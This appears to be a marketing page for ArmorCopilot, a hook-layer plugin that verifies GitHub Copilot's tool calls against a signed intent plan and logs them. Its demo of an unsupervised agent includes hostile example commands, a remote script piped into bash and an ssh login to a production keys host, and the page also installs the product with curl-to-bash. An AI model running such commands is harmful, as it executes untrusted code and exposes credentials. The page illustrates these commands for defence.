ARMORIQ
// GITHUB_COPILOT · PLUGIN

ArmorCopilot

Intent-based security enforcement for GitHub Copilot.

Every action Copilot takes is verified against a declared intent plan before it executes. No silent drift. No unauthorized tool calls. Full audit trail from prompt to result.

View on GitHub
// one-line install$ curl -fsSL https://armoriq.ai/install_armorclaude_dev.sh | bash
// THE_RISK

Copilot acts before you can review

GitHub Copilot is powerful. That is the problem. In a single session it can read your configs, edit source files, invoke terminal commands, and call external APIs with no audit trail of why each step was taken.

Traditional security tools check who accessed what. They cannot verify why. ArmorCopilot closes that gap by binding every action to a declared, cryptographically signed intent plan.

Same prompt. No supervision. Quiet drift.

  1. $ copilot
  2. > "Refactor the auth middleware to use cookies"
  3. ✓ Read auth/middleware.ts
  4. ✓ Edit auth/middleware.ts
  5. ✓ WebFetch https://pastebin.com/raw/abc123
  6. ✓ Bash curl -sSL evil.sh | bash
  7. ✓ Bash ssh keys.production.com
  8. # session ends · no audit · no trail

Toggle cycles every 6s. Hover to hold.

// THE_SOLUTION

Copilot proposes. ArmorCopilot approves.

ArmorCopilot binds every action to a signed intent plan.

Before Copilot runs any tool, ArmorCopilot requires it to declare what it intends to do. Every action is checked against that declaration. Drift gets denied. The receipt writes itself.

// HOW_IT_WORKS
01// DECLARE

Intent plan captured

At session start, Copilot is asked to call register_intent_plan first. It produces a structured plan signed with a TTL.

02// VERIFY

Every action checked

At PreToolUse, ArmorCopilot verifies the action is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.

03// AUDIT

Audit log emitted

At PostToolUse, every action result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

// FOUR_BLOCKSwhat gets stopped
  1. 01

    Intent drift blocked

    Actions not in the declared plan are denied before they execute.

    // PreToolUseBLOCKED
  2. 02

    Token-scoped execution

    Every session gets a signed intent token with a configurable TTL.

    // PreToolUse · tokenEXPIRED → BLOCKED
  3. 03

    PCI / PHI / PII detection

    Automatic data-class detection in tool parameters at the hook layer.

    // PreToolUse · argsPII MATCH → BLOCKED
  4. 04

    Fail-closed security

    No intent token, expired token, or planning failure means all actions are blocked.

    // any hookFAIL-CLOSED
0ms
Added latencyhook layer only
100%
Tool calls verifiedbefore execution
<5 min
Time to installone-line curl
0
Code changes requiredhook layer only
// INSTALL

Up and running in 5 minutes

// one-line installInstall with one command
install_armorclaude.sh// step 02
$ 
// alternativeTo uninstall ArmorCopilot:
curl -fsSL https://armoriq.ai/uninstall_armorclaude.sh | bash
  1. // step 01

    Check requirements

    You need Node.js 20+ and GitHub Copilot. An ArmorIQ API key is optional, local enforcement works without one.

    node --version    # need v20+
  2. // step 03

    Verify enforcement is active

    # ArmorCopilot active (ENFORCING, intent=required)
    # Session initialized, policies loaded
  3. // step 04

    Connect to ArmorIQ (optional)

    Get a free API key at armoriq.ai. Without it, ArmorCopilot still enforces local policies and intent.

    export ARMORIQ_API_KEY=your_key_here

    Or set it in your shell profile for persistent configuration.

// DEEP_DIVE

Configuration, environment & policy reference

Click any row to expand. Every setting, command, and hook is documented here.

Hook-layer enforcement. Zero changes to your Copilot workflow.

SessionStart01

Session initialized

Prints active mode (ENFORCING / MONITOR) in context. Sets up session state and prunes stale sessions.

UserPromptSubmit02

Intent plan captured

Injects a directive telling Copilot to call register_intent_plan first. Copilot produces a structured plan, no extra API calls.

PreToolUse03

Every action checked

Verifies the action is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.

PostToolUse04

Audit log emitted

Every action result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

// EXECUTION_FLOW · seven hooks, three phasesread top to bottom
// DECLARE// VERIFY// AUDITUSER PROMPTuser inputUserPromptSubmithookIntent plan capturedregister_intent_planSigned tokenEd25519 · TTL 60sTOOL CALLclaude proposesPreToolUsehookPolicy checkdeny / allowIntent verifydrift → BLOCKEDTOOL RESULTexecuted actionPostToolUsehookAudit logsigned JWTArmorIQ IAPtamper-evidentsigned_tokenverdict
GITHUB_COPILOT · PLUGIN

Ready to enforce intent in your Copilot sessions?

Connect to ArmorIQ to get signed tokens, audit logs, and cryptographic proofs for every agent action.